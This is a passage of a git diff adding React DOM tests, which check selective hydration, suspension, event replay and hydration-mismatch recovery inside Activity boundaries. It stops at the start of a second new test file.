+    const ref = React.createRef();
+
+    function Child({text}) {
+      if (suspend && text !== 'Hi') {
+        throw promise;
+      } else {
+        return text;
+      }
+    }
+
+    function App({text, className}) {
+      return (
+        <div>
+          <Activity>
+            <Activity>
+              <Child text={text} />
+            </Activity>{' '}
+            <span ref={ref} className={className}>
+              <Child text={text} />
+            </span>
+          </Activity>
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(
+      <App text="Hello" className="hello" />,
+    );
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    const root = ReactDOMClient.hydrateRoot(
+      container,
+      <App text="Hello" className="hello" />,
+      {
+        onRecoverableError(error) {
+          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+          if (error.cause) {
+            Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+          }
+        },
+      },
+    );
+    await waitForAll([]);
+
+    expect(ref.current).toBe(null);
+
+    // Render an update, that unblocks.
+    // Flushing now should delete the existing content and show the update.
+    await act(() => {
+      root.render(<App text="Hi" className="hi" />);
+    });
+
+    const span = container.getElementsByTagName('span')[0];
+    expect(span.textContent).toBe('Hi');
+    expect(span.className).toBe('hi');
+    expect(ref.current).toBe(span);
+    expect(container.textContent).toBe('Hi Hi');
+  });
+
+  it('hydrates first if props changed but we are able to resolve within a timeout', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+    const ref = React.createRef();
+
+    function Child({text}) {
+      if (suspend) {
+        throw promise;
+      } else {
+        return text;
+      }
+    }
+
+    function App({text, className}) {
+      return (
+        <div>
+          <Activity>
+            <span ref={ref} className={className}>
+              <Child text={text} />
+            </span>
+          </Activity>
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(
+      <App text="Hello" className="hello" />,
+    );
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    const span = container.getElementsByTagName('span')[0];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    const root = ReactDOMClient.hydrateRoot(
+      container,
+      <App text="Hello" className="hello" />,
+    );
+    await waitForAll([]);
+
+    expect(ref.current).toBe(null);
+    expect(container.textContent).toBe('Hello');
+
+    // Render an update with a long timeout.
+    React.startTransition(() => root.render(<App text="Hi" className="hi" />));
+    // This shouldn't force the fallback yet.
+    await waitForAll([]);
+
+    expect(ref.current).toBe(null);
+    expect(container.textContent).toBe('Hello');
+
+    // Resolving the promise so that rendering can complete.
+    // This should first complete the hydration and then flush the update onto the hydrated state.
+    suspend = false;
+    await act(() => resolve());
+
+    // The new span should be the same since we should have successfully hydrated
+    // before changing it.
+    const newSpan = container.getElementsByTagName('span')[0];
+    expect(span).toBe(newSpan);
+
+    // We should now have fully rendered with a ref on the new span.
+    expect(ref.current).toBe(span);
+    expect(container.textContent).toBe('Hi');
+    // If we ended up hydrating the existing content, we won't have properly
+    // patched up the tree, which might mean we haven't patched the className.
+    expect(span.className).toBe('hi');
+  });
+
+  it('warns but works if setState is called before commit in a dehydrated component', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+
+    let updateText;
+
+    function Child() {
+      const [state, setState] = React.useState('Hello');
+      updateText = setState;
+      Scheduler.log('Child');
+      if (suspend) {
+        throw promise;
+      } else {
+        return state;
+      }
+    }
+
+    function Sibling() {
+      Scheduler.log('Sibling');
+      return null;
+    }
+
+    function App() {
+      return (
+        <div>
+          <Activity>
+            <Child />
+            <Sibling />
+          </Activity>
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    assertLog(['Child', 'Sibling']);
+
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    ReactDOMClient.hydrateRoot(
+      container,
+      <App text="Hello" className="hello" />,
+    );
+
+    await act(async () => {
+      suspend = true;
+      await waitFor(['Child']);
+
+      // While we're part way through the hydration, we update the state.
+      // This will schedule an update on the children of the activity boundary.
+      updateText('Hi');
+      assertConsoleErrorDev([
+        "Can't perform a React state update on a component that hasn't mounted yet. " +
+          'This indicates that you have a side-effect in your render function that ' +
+          'asynchronously tries to update the component. Move this work to useEffect instead.\n' +
+          '    in App (at **)',
+      ]);
+
+      // This will throw it away and rerender.
+      await waitForAll(['Child']);
+
+      expect(container.textContent).toBe('Hello');
+
+      suspend = false;
+      resolve();
+      await promise;
+    });
+    assertLog(['Child', 'Sibling']);
+
+    expect(container.textContent).toBe('Hello');
+  });
+
+  it('blocks the update to hydrate first if context has changed', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+    const ref = React.createRef();
+    const Context = React.createContext(null);
+
+    function Child() {
+      const {text, className} = React.useContext(Context);
+      if (suspend) {
+        throw promise;
+      } else {
+        return (
+          <span ref={ref} className={className}>
+            {text}
+          </span>
+        );
+      }
+    }
+
+    const App = React.memo(function App() {
+      return (
+        <div>
+          <Activity>
+            <Child />
+          </Activity>
+        </div>
+      );
+    });
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(
+      <Context.Provider value={{text: 'Hello', className: 'hello'}}>
+        <App />
+      </Context.Provider>,
+    );
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    const span = container.getElementsByTagName('span')[0];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    const root = ReactDOMClient.hydrateRoot(
+      container,
+      <Context.Provider value={{text: 'Hello', className: 'hello'}}>
+        <App />
+      </Context.Provider>,
+    );
+    await waitForAll([]);
+
+    expect(ref.current).toBe(null);
+    expect(span.textContent).toBe('Hello');
+
+    // Render an update, which will be higher or the same priority as pinging the hydration.
+    root.render(
+      <Context.Provider value={{text: 'Hi', className: 'hi'}}>
+        <App />
+      </Context.Provider>,
+    );
+
+    // At the same time, resolving the promise so that rendering can complete.
+    // This should first complete the hydration and then flush the update onto the hydrated state.
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    // Since this should have been hydrated, this should still be the same span.
+    const newSpan = container.getElementsByTagName('span')[0];
+    expect(newSpan).toBe(span);
+
+    // We should now have fully rendered with a ref on the new span.
+    expect(ref.current).toBe(span);
+    expect(span.textContent).toBe('Hi');
+    // If we ended up hydrating the existing content, we won't have properly
+    // patched up the tree, which might mean we haven't patched the className.
+    expect(span.className).toBe('hi');
+  });
+
+  it('shows the parent fallback if context has changed before hydration completes and is still suspended', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+    const ref = React.createRef();
+    const Context = React.createContext(null);
+
+    function Child() {
+      const {text, className} = React.useContext(Context);
+      if (suspend) {
+        throw promise;
+      } else {
+        return (
+          <span ref={ref} className={className}>
+            {text}
+          </span>
+        );
+      }
+    }
+
+    const App = React.memo(function App() {
+      return (
+        <Suspense fallback="Loading...">
+          <div>
+            <Activity>
+              <Child />
+            </Activity>
+          </div>
+        </Suspense>
+      );
+    });
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(
+      <Context.Provider value={{text: 'Hello', className: 'hello'}}>
+        <App />
+      </Context.Provider>,
+    );
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    const root = ReactDOMClient.hydrateRoot(
+      container,
+      <Context.Provider value={{text: 'Hello', className: 'hello'}}>
+        <App />
+      </Context.Provider>,
+      {
+        onRecoverableError(error) {
+          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+          if (error.cause) {
+            Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+          }
+        },
+      },
+    );
+    await waitForAll([]);
+
+    expect(ref.current).toBe(null);
+
+    // Render an update, but leave it still suspended.
+    // Flushing now should delete the existing content and show the fallback.
+    await act(() => {
+      root.render(
+        <Context.Provider value={{text: 'Hi', className: 'hi'}}>
+          <App />
+        </Context.Provider>,
+      );
+    });
+
+    expect(container.getElementsByTagName('span').length).toBe(1); // hidden
+    expect(ref.current).toBe(null);
+    expect(container.textContent).toBe('HelloLoading...');
+
+    // Unsuspending shows the content.
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    const span = container.getElementsByTagName('span')[0];
+    expect(span.textContent).toBe('Hi');
+    expect(span.className).toBe('hi');
+    expect(ref.current).toBe(span);
+    expect(container.textContent).toBe('Hi');
+  });
+
+  it('can hydrate TWO activity boundaries', async () => {
+    const ref1 = React.createRef();
+    const ref2 = React.createRef();
+
+    function App() {
+      return (
+        <div>
+          <Activity>
+            <span ref={ref1}>1</span>
+          </Activity>
+          <Activity>
+            <span ref={ref2}>2</span>
+          </Activity>
+        </div>
+      );
+    }
+
+    // First we render the final HTML. With the streaming renderer
+    // this may have suspense points on the server but here we want
+    // to test the completed HTML. Don't suspend on the server.
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    const span1 = container.getElementsByTagName('span')[0];
+    const span2 = container.getElementsByTagName('span')[1];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    ReactDOMClient.hydrateRoot(container, <App />);
+    await waitForAll([]);
+
+    expect(ref1.current).toBe(span1);
+    expect(ref2.current).toBe(span2);
+  });
+
+  it('regenerates if it cannot hydrate before changes to props/context expire', async () => {
+    let suspend = false;
+    const promise = new Promise(resolvePromise => {});
+    const ref = React.createRef();
+    const ClassName = React.createContext(null);
+
+    function Child({text}) {
+      const className = React.useContext(ClassName);
+      if (suspend && className !== 'hi' && text !== 'Hi') {
+        // Never suspends on the newer data.
+        throw promise;
+      } else {
+        return (
+          <span ref={ref} className={className}>
+            {text}
+          </span>
+        );
+      }
+    }
+
+    function App({text, className}) {
+      return (
+        <div>
+          <Activity>
+            <Child text={text} />
+          </Activity>
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(
+      <ClassName.Provider value={'hello'}>
+        <App text="Hello" />
+      </ClassName.Provider>,
+    );
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    const span = container.getElementsByTagName('span')[0];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    const root = ReactDOMClient.hydrateRoot(
+      container,
+      <ClassName.Provider value={'hello'}>
+        <App text="Hello" />
+      </ClassName.Provider>,
+      {
+        onRecoverableError(error) {
+          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+          if (error.cause) {
+            Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+          }
+        },
+      },
+    );
+    await waitForAll([]);
+
+    expect(ref.current).toBe(null);
+    expect(span.textContent).toBe('Hello');
+
+    // Render an update, which will be higher or the same priority as pinging the hydration.
+    // The new update doesn't suspend.
+    // Since we're still suspended on the original data, we can't hydrate.
+    // This will force all expiration times to flush.
+    await act(() => {
+      root.render(
+        <ClassName.Provider value={'hi'}>
+          <App text="Hi" />
+        </ClassName.Provider>,
+      );
+    });
+
+    // This will now be a new span because we weren't able to hydrate before
+    const newSpan = container.getElementsByTagName('span')[0];
+    expect(newSpan).not.toBe(span);
+
+    // We should now have fully rendered with a ref on the new span.
+    expect(ref.current).toBe(newSpan);
+    expect(newSpan.textContent).toBe('Hi');
+    // If we ended up hydrating the existing content, we won't have properly
+    // patched up the tree, which might mean we haven't patched the className.
+    expect(newSpan.className).toBe('hi');
+  });
+
+  it('does not invoke an event on a hydrated node until it commits', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+
+    function Sibling({text}) {
+      if (suspend) {
+        throw promise;
+      } else {
+        return 'Hello';
+      }
+    }
+
+    let clicks = 0;
+
+    function Button() {
+      const [clicked, setClicked] = React.useState(false);
+      if (clicked) {
+        return null;
+      }
+      return (
+        <a
+          onClick={() => {
+            setClicked(true);
+            clicks++;
+          }}>
+          Click me
+        </a>
+      );
+    }
+
+    function App() {
+      return (
+        <div>
+          <Activity>
+            <Button />
+            <Sibling />
+          </Activity>
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    const a = container.getElementsByTagName('a')[0];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    ReactDOMClient.hydrateRoot(container, <App />);
+    await waitForAll([]);
+
+    expect(container.textContent).toBe('Click meHello');
+
+    // We're now partially hydrated.
+    await act(() => {
+      a.click();
+    });
+    expect(clicks).toBe(0);
+
+    // Resolving the promise so that rendering can complete.
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    expect(clicks).toBe(0);
+    expect(container.textContent).toBe('Click meHello');
+
+    document.body.removeChild(container);
+  });
+
+  // @gate www
+  it('does not invoke an event on a hydrated event handle until it commits', async () => {
+    const setClick = ReactDOM.unstable_createEventHandle('click');
+    let suspend = false;
+    let isServerRendering = true;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+
+    function Sibling({text}) {
+      if (suspend) {
+        throw promise;
+      } else {
+        return 'Hello';
+      }
+    }
+
+    const onEvent = jest.fn();
+
+    function Button() {
+      const ref = React.useRef(null);
+      if (!isServerRendering) {
+        React.useLayoutEffect(() => {
+          return setClick(ref.current, onEvent);
+        });
+      }
+      return <a ref={ref}>Click me</a>;
+    }
+
+    function App() {
+      return (
+        <div>
+          <Activity>
+            <Button />
+            <Sibling />
+          </Activity>
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    const a = container.getElementsByTagName('a')[0];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    isServerRendering = false;
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    // We'll do one click before hydrating.
+    a.click();
+    // This should be delayed.
+    expect(onEvent).toHaveBeenCalledTimes(0);
+
+    await waitForAll([]);
+
+    // We're now partially hydrated.
+    await act(() => {
+      a.click();
+    });
+    // We should not have invoked the event yet because we're not
+    // yet hydrated.
+    expect(onEvent).toHaveBeenCalledTimes(0);
+
+    // Resolving the promise so that rendering can complete.
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    expect(onEvent).toHaveBeenCalledTimes(0);
+
+    document.body.removeChild(container);
+  });
+
+  it('invokes discrete events on nested activity boundaries in a root (legacy system)', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+
+    let clicks = 0;
+
+    function Button() {
+      return (
+        <a
+          onClick={() => {
+            clicks++;
+          }}>
+          Click me
+        </a>
+      );
+    }
+
+    function Child() {
+      if (suspend) {
+        throw promise;
+      } else {
+        return (
+          <Activity>
+            <Button />
+          </Activity>
+        );
+      }
+    }
+
+    function App() {
+      return (
+        <Activity>
+          <Child />
+        </Activity>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    const a = container.getElementsByTagName('a')[0];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    // We'll do one click before hydrating.
+    await act(() => {
+      a.click();
+    });
+    // This should be delayed.
+    expect(clicks).toBe(0);
+
+    await waitForAll([]);
+
+    // We're now partially hydrated.
+    await act(() => {
+      a.click();
+    });
+    expect(clicks).toBe(0);
+
+    // Resolving the promise so that rendering can complete.
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    expect(clicks).toBe(0);
+
+    document.body.removeChild(container);
+  });
+
+  // @gate www
+  it('invokes discrete events on nested activity boundaries in a root (createEventHandle)', async () => {
+    let suspend = false;
+    let isServerRendering = true;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+
+    const onEvent = jest.fn();
+    const setClick = ReactDOM.unstable_createEventHandle('click');
+
+    function Button() {
+      const ref = React.useRef(null);
+
+      if (!isServerRendering) {
+        React.useLayoutEffect(() => {
+          return setClick(ref.current, onEvent);
+        });
+      }
+
+      return <a ref={ref}>Click me</a>;
+    }
+
+    function Child() {
+      if (suspend) {
+        throw promise;
+      } else {
+        return (
+          <Activity>
+            <Button />
+          </Activity>
+        );
+      }
+    }
+
+    function App() {
+      return (
+        <Activity>
+          <Child />
+        </Activity>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    const a = container.getElementsByTagName('a')[0];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    isServerRendering = false;
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    // We'll do one click before hydrating.
+    a.click();
+    // This should be delayed.
+    expect(onEvent).toHaveBeenCalledTimes(0);
+
+    await waitForAll([]);
+
+    // We're now partially hydrated.
+    await act(() => {
+      a.click();
+    });
+    // We should not have invoked the event yet because we're not
+    // yet hydrated.
+    expect(onEvent).toHaveBeenCalledTimes(0);
+
+    // Resolving the promise so that rendering can complete.
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    expect(onEvent).toHaveBeenCalledTimes(0);
+
+    document.body.removeChild(container);
+  });
+
+  it('does not invoke the parent of dehydrated boundary event', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+
+    let clicksOnParent = 0;
+    let clicksOnChild = 0;
+
+    function Child({text}) {
+      if (suspend) {
+        throw promise;
+      } else {
+        return (
+          <span
+            onClick={e => {
+              // The stopPropagation is showing an example why invoking
+              // the event on only a parent might not be correct.
+              e.stopPropagation();
+              clicksOnChild++;
+            }}>
+            Hello
+          </span>
+        );
+      }
+    }
+
+    function App() {
+      return (
+        <div onClick={() => clicksOnParent++}>
+          <Activity>
+            <Child />
+          </Activity>
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    const span = container.getElementsByTagName('span')[0];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    ReactDOMClient.hydrateRoot(container, <App />);
+    await waitForAll([]);
+
+    // We're now partially hydrated.
+    await act(() => {
+      span.click();
+    });
+    expect(clicksOnChild).toBe(0);
+    expect(clicksOnParent).toBe(0);
+
+    // Resolving the promise so that rendering can complete.
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    expect(clicksOnChild).toBe(0);
+    expect(clicksOnParent).toBe(0);
+
+    document.body.removeChild(container);
+  });
+
+  it('does not invoke an event on a parent tree when a subtree is dehydrated', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+
+    let clicks = 0;
+    const childSlotRef = React.createRef();
+
+    function Parent() {
+      return <div onClick={() => clicks++} ref={childSlotRef} />;
+    }
+
+    function Child({text}) {
+      if (suspend) {
+        throw promise;
+      } else {
+        return <a>Click me</a>;
+      }
+    }
+
+    function App() {
+      // The root is a Suspense boundary.
+      return (
+        <Activity>
+          <Child />
+        </Activity>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    const parentContainer = document.createElement('div');
+    const childContainer = document.createElement('div');
+
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(parentContainer);
+
+    // We're going to use a different root as a parent.
+    // This lets us detect whether an event goes through React's event system.
+    const parentRoot = ReactDOMClient.createRoot(parentContainer);
+    await act(() => parentRoot.render(<Parent />));
+
+    childSlotRef.current.appendChild(childContainer);
+
+    childContainer.innerHTML = finalHTML;
+
+    const a = childContainer.getElementsByTagName('a')[0];
+
+    suspend = true;
+
+    // Hydrate asynchronously.
+    await act(() => ReactDOMClient.hydrateRoot(childContainer, <App />));
+
+    // The Suspense boundary is not yet hydrated.
+    await act(() => {
+      a.click();
+    });
+    expect(clicks).toBe(0);
+
+    // Resolving the promise so that rendering can complete.
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    expect(clicks).toBe(0);
+
+    document.body.removeChild(parentContainer);
+  });
+
+  it('blocks only on the last continuous event (legacy system)', async () => {
+    let suspend1 = false;
+    let resolve1;
+    const promise1 = new Promise(resolvePromise => (resolve1 = resolvePromise));
+    let suspend2 = false;
+    let resolve2;
+    const promise2 = new Promise(resolvePromise => (resolve2 = resolvePromise));
+
+    function First({text}) {
+      if (suspend1) {
+        throw promise1;
+      } else {
+        return 'Hello';
+      }
+    }
+
+    function Second({text}) {
+      if (suspend2) {
+        throw promise2;
+      } else {
+        return 'World';
+      }
+    }
+
+    const ops = [];
+
+    function App() {
+      return (
+        <div>
+          <Activity>
+            <span
+              onMouseEnter={() => ops.push('Mouse Enter First')}
+              onMouseLeave={() => ops.push('Mouse Leave First')}
+            />
+            {/* We suspend after to test what happens when we eager
+                attach the listener. */}
+            <First />
+          </Activity>
+          <Activity>
+            <span
+              onMouseEnter={() => ops.push('Mouse Enter Second')}
+              onMouseLeave={() => ops.push('Mouse Leave Second')}>
+              <Second />
+            </span>
+          </Activity>
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    const appDiv = container.getElementsByTagName('div')[0];
+    const firstSpan = appDiv.getElementsByTagName('span')[0];
+    const secondSpan = appDiv.getElementsByTagName('span')[1];
+    expect(firstSpan.textContent).toBe('');
+    expect(secondSpan.textContent).toBe('World');
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend1 = true;
+    suspend2 = true;
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    await waitForAll([]);
+
+    dispatchMouseEvent(appDiv, null);
+    dispatchMouseEvent(firstSpan, appDiv);
+    dispatchMouseEvent(secondSpan, firstSpan);
+
+    // Neither target is yet hydrated.
+    expect(ops).toEqual([]);
+
+    // Resolving the second promise so that rendering can complete.
+    suspend2 = false;
+    resolve2();
+    await promise2;
+
+    await waitForAll([]);
+
+    // We've unblocked the current hover target so we should be
+    // able to replay it now.
+    expect(ops).toEqual(['Mouse Enter Second']);
+
+    // Resolving the first promise has no effect now.
+    suspend1 = false;
+    resolve1();
+    await promise1;
+
+    await waitForAll([]);
+
+    expect(ops).toEqual(['Mouse Enter Second']);
+
+    document.body.removeChild(container);
+  });
+
+  it('finishes normal pri work before continuing to hydrate a retry', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+    const ref = React.createRef();
+
+    function Child() {
+      if (suspend) {
+        throw promise;
+      } else {
+        Scheduler.log('Child');
+        return 'Hello';
+      }
+    }
+
+    function Sibling() {
+      Scheduler.log('Sibling');
+      React.useLayoutEffect(() => {
+        Scheduler.log('Commit Sibling');
+      });
+      return 'World';
+    }
+
+    // Avoid rerendering the tree by hoisting it.
+    const tree = (
+      <Activity>
+        <span ref={ref}>
+          <Child />
+        </span>
+      </Activity>
+    );
+
+    function App({showSibling}) {
+      return (
+        <div>
+          {tree}
+          {showSibling ? <Sibling /> : null}
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    assertLog(['Child']);
+
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    suspend = true;
+    const root = ReactDOMClient.hydrateRoot(
+      container,
+      <App showSibling={false} />,
+    );
+    await waitForAll([]);
+
+    expect(ref.current).toBe(null);
+    expect(container.textContent).toBe('Hello');
+
+    // Resolving the promise should continue hydration
+    suspend = false;
+    resolve();
+    await promise;
+
+    Scheduler.unstable_advanceTime(100);
+
+    // Before we have a chance to flush it, we'll also render an update.
+    root.render(<App showSibling={true} />);
+
+    // When we flush we expect the Normal pri render to take priority
+    // over hydration.
+    await waitFor(['Sibling', 'Commit Sibling']);
+
+    // We shouldn't have hydrated the child yet.
+    expect(ref.current).toBe(null);
+    // But we did have a chance to update the content.
+    expect(container.textContent).toBe('HelloWorld');
+
+    await waitForAll(['Child']);
+
+    // Now we're hydrated.
+    expect(ref.current).not.toBe(null);
+  });
+
+  it('regression test: does not overfire non-bubbling browser events', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+
+    function Sibling({text}) {
+      if (suspend) {
+        throw promise;
+      } else {
+        return 'Hello';
+      }
+    }
+
+    let submits = 0;
+
+    function Form() {
+      const [submitted, setSubmitted] = React.useState(false);
+      if (submitted) {
+        return null;
+      }
+      return (
+        <form
+          onSubmit={() => {
+            setSubmitted(true);
+            submits++;
+          }}>
+          Click me
+        </form>
+      );
+    }
+
+    function App() {
+      return (
+        <div>
+          <Activity>
+            <Form />
+            <Sibling />
+          </Activity>
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    const form = container.getElementsByTagName('form')[0];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    ReactDOMClient.hydrateRoot(container, <App />);
+    await waitForAll([]);
+
+    expect(container.textContent).toBe('Click meHello');
+
+    // We're now partially hydrated.
+    await act(() => {
+      form.dispatchEvent(
+        new window.Event('submit', {
+          bubbles: true,
+        }),
+      );
+    });
+    expect(submits).toBe(0);
+
+    // Resolving the promise so that rendering can complete.
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    // discrete event not replayed
+    expect(submits).toBe(0);
+    expect(container.textContent).toBe('Click meHello');
+
+    document.body.removeChild(container);
+  });
+
+  it('fallback to client render on hydration mismatch at root', async () => {
+    let suspend = true;
+    let resolve;
+    const promise = new Promise((res, rej) => {
+      resolve = () => {
+        suspend = false;
+        res();
+      };
+    });
+    function App({isClient}) {
+      return (
+        <>
+          <Activity>
+            <ChildThatSuspends id={1} isClient={isClient} />
+          </Activity>
+          {isClient ? <span>client</span> : <div>server</div>}
+          <Activity>
+            <ChildThatSuspends id={2} isClient={isClient} />
+          </Activity>
+        </>
+      );
+    }
+    function ChildThatSuspends({id, isClient}) {
+      if (isClient && suspend) {
+        throw promise;
+      }
+      return <div>{id}</div>;
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App isClient={false} />);
+
+    const container = document.createElement('div');
+    document.body.appendChild(container);
+    container.innerHTML = finalHTML;
+
+    await act(() => {
+      ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {
+        onRecoverableError(error) {
+          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+          if (error.cause) {
+            Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+          }
+        },
+      });
+    });
+
+    // We suspend the root while we wait for the promises to resolve, leaving the
+    // existing content in place.
+    expect(container.innerHTML).toEqual(
+      '<!--&--><div>1</div><!--/&--><div>server</div><!--&--><div>2</div><!--/&-->',
+    );
+
+    await act(async () => {
+      resolve();
+      await promise;
+    });
+
+    assertLog([
+      "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+    ]);
+
+    expect(container.innerHTML).toEqual(
+      '<div>1</div><span>client</span><div>2</div>',
+    );
+  });
+});
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerSelectiveHydrationActivity-test.internal.js b/packages/react-dom/src/__tests__/ReactDOMServerSelectiveHydrationActivity-test.internal.js
new file mode 100644
index 000000000000..1892b915be8e
--- /dev/null
+++ b/packages/react-dom/src/__tests__/ReactDOMServerSelectiveHydrationActivity-test.internal.js
@@ -0,0 +1,1595 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ */
+
+'use strict';
+
+import {createEventTarget} from 'dom-event-testing-library';
+
+let React;
+let ReactDOM;
+let ReactDOMClient;
+let ReactDOMServer;
+let ReactFeatureFlags;
+let Scheduler;
+let Activity;
+let act;
+let assertLog;
+let waitForAll;
+let waitFor;
+let waitForPaint;
+
+let IdleEventPriority;
+let ContinuousEventPriority;
+
+function dispatchMouseHoverEvent(to, from) {
+  if (!to) {
+    to = null;
+  }
+  if (!from) {
+    from = null;
+  }
+  if (from) {
+    const mouseOutEvent = document.createEvent('MouseEvents');
+    mouseOutEvent.initMouseEvent(
+      'mouseout',
+      true,
+      true,
+      window,
+      0,
+      50,
+      50,
+      50,
+      50,
+      false,
+      false,
+      false,
+      false,
+      0,
+      to,
+    );
+    from.dispatchEvent(mouseOutEvent);
+  }
+  if (to) {
+    const mouseOverEvent = document.createEvent('MouseEvents');
+    mouseOverEvent.initMouseEvent(
+      'mouseover',
+      true,
+      true,
+      window,
+      0,
+      50,
+      50,
+      50,
+      50,
+      false,
